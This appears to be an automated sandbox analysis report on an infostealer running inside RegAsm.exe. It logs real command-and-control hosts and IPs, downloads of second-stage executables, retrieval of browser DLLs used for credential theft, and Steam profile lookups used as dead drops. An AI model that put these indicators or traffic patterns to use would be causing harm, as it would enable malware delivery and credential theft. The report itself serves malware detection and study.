Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: performenj.shop
Source: global traffic	HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 3213Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_00406963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=468a9c07480beea674f6698d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34668Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 25 Sep 2024 18:50:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: yalubluseks.eu
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: performenj.shop

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1208948http://147.45.44.104/prog/66f4247d5181
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exehb
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exerm-data;
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.KECFHIEBFCGI
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.EBFCGI
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/Z
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/j
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgCGI
Source: file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoIEBFCGI
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: MFDBG.exe, 00000008.00000002.4507693462.00000000022E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.3220166068.000000002048D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
